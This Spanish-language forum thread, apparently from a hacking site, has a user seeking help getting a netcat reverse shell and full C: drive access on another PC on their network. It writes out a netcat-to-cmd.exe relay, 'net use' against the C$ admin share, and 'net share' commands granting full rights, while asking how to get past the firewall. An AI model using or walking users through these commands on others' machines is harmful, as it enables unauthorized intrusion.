Ayuda con NETCAT

[roperbreak]

Pues estuve toqueteando y siguiendo el tutorial de una persona
y hice varias cosas y consegui la shell del otro equipo ahora
quise crear un directorio con el c$
net use x: \\XXXXXXXX\C$ pwd /user:XXXX\test
las primeras x son la ip y el user el que elegi del nbtstat -a XXXXXXX
(test y pwd los deje, son los del tuto)
Pues hace poco me dió bien, y lo tuve en X:
sin embargo ahora me dice error 53 no se encuentra la ruta especificada
la ip del otro equipo era esa y corre bajo mi mismo WiFi.
Muchas gracias por adelantado y gracias por tomarse el tiempo en leer.
EDIT:
se puede obtener el c: si el equipo esta en mi misma red sin necesitar acceso fisico al pc?
lo intente me da error y solo me escucha en el 25 en el 80 sigue listening

[CloudswX]

Hola amigo,

Esta demas decirte que explicas de una forma fatal, sin ofender. Pero vamos a ver como te ayudo, lo primero es que si tomas un manual y solo empiezas a ejecutar paso por paso las cosas que dice entonces no aprenderas absolutamente nada, ya que solo estas siendo un automata con un script..

consegui la shell del otro equipo

Lo escribes, pero algo me dice que no sabes a lo que te refieres, lo digo por esto:

se puede obtener el c: si el equipo esta en mi misma red sin necesitar acceso fisico al pc?

Aclara mejor tu duda y tus procesos.

[roperbreak]

 mi duda es que yo sigo los pasos (comprendiendo que hace)
Y la conexion directa me la pilla el firewall asi que nada, y ahora probe hacer el netcat con los puertos 80 y 25 no?
hasta ahi todo bien
una vez dentro lo que hacia era net use x: \\ip\C$ pwd /user:USUARIO\test
es decir crear una copia del C suyo en X:
y me daba error porque no se encontraba la ruta
asi que improvise y hice net share XX=C: /grant:test,full
ahi me doy permisos en su c:
y todo bien, pero ahora cuando lo intento hacer con otro pc de mi red(ANTES LO HICE EN EL MIO)
pongo su ip y eso, el otro pc tiene los puertos abiertos pero el firewall activado
y cuando ejecuto el reverse de 80 y 25 en el netcat es decir lo de nc 192.168.x.xx 80 | cmd.exe | nc 192.168.x.xx me da señal en uno (80) pero no envia cmds (no los recibo en el 25) No sé como explicarme
EN RESUMEN:
en el local me va bien, pero en el otro pc (que tiene el firewall on pero puertos abiertos) me da bastantes errores, si fuera alguien tan amable de enseñarme un poco el proceso paso a paso para entrar a un pc de red local diferente al mio

[CloudswX]

cuando ejecuto el reverse de 80 y 25 en el netcat es decir lo de nc 192.168.x.xx 80 | cmd.exe | nc 192.168.x.xx me da señal en uno (80) pero no envia cmds (no los recibo en el 25)

Para hacer un reverse debes tener NC en la maquina remota.

[roperbreak]

Ah, digamos que debe tener nc en system32
pero no hace falta que disponga de acceso físico  no?
si el dispone de nc yo hago eso y recibo el shell?

Y habría algun metodo (de netcat) de modo que yo pudiera tener su shell sin que el tenga nc? y con el firewall activado
muchisimas gracias CloudswX!

[CloudswX]

Y habría algun metodo (de netcat) de modo que yo pudiera tener su shell sin que el tenga nc? y con el firewall activado

Hasta donde yo se no puedes conseguir shell remota sin que el otro equipo tenga NC.

Saludos

[roperbreak]

Ok duda casi solucionada
ya solo la ultima cosa
cuando lo hice en localhost en vez de darme permisos en mi c:
hice net share HDD=C: /grant:USUARIOMIO,Full
ese fue bien
pero a mi me gustaria tener permisos completos ya que algunas cosas no me deja (c:windows) aunque haga el permiso en HDD=C:/Windows
se me encapricho el net use x
pues hago net use x: \\IP\C$ USUARIOMIO /user:ASUS\CONTRASEÑA
(elegi ASUS habiendo hecho nbtstat -a y encontré ASUS (el mio))
Resultado:
Error 53 no se encuentra ruta especificada, volvi a hacer nbtstat -a a mi ip y lo mismo ASUS y tal... gracias a los que me ayudan y ayuden y por la molestia en leer cosas tan largas

[latigokiller]

roperbreak , serias tan amable de pasarme el tutorial de netcat? en privado

[roperbreak]

YA SOLUCIONE TODO!
GRACIAS ELHACKER.NET! (en concreto a CLOUDSWX)

[CloudswX]

YA SOLUCIONE TODO!
GRACIAS ELHACKER.NET! (en concreto a CLOUDSWX)

+1

Cuando puedas publica detalladamente como lo resolviste, de esa forma si a alguien le surge la misma duda aqui puede encontrar una posible solucion.

Saludos por alla.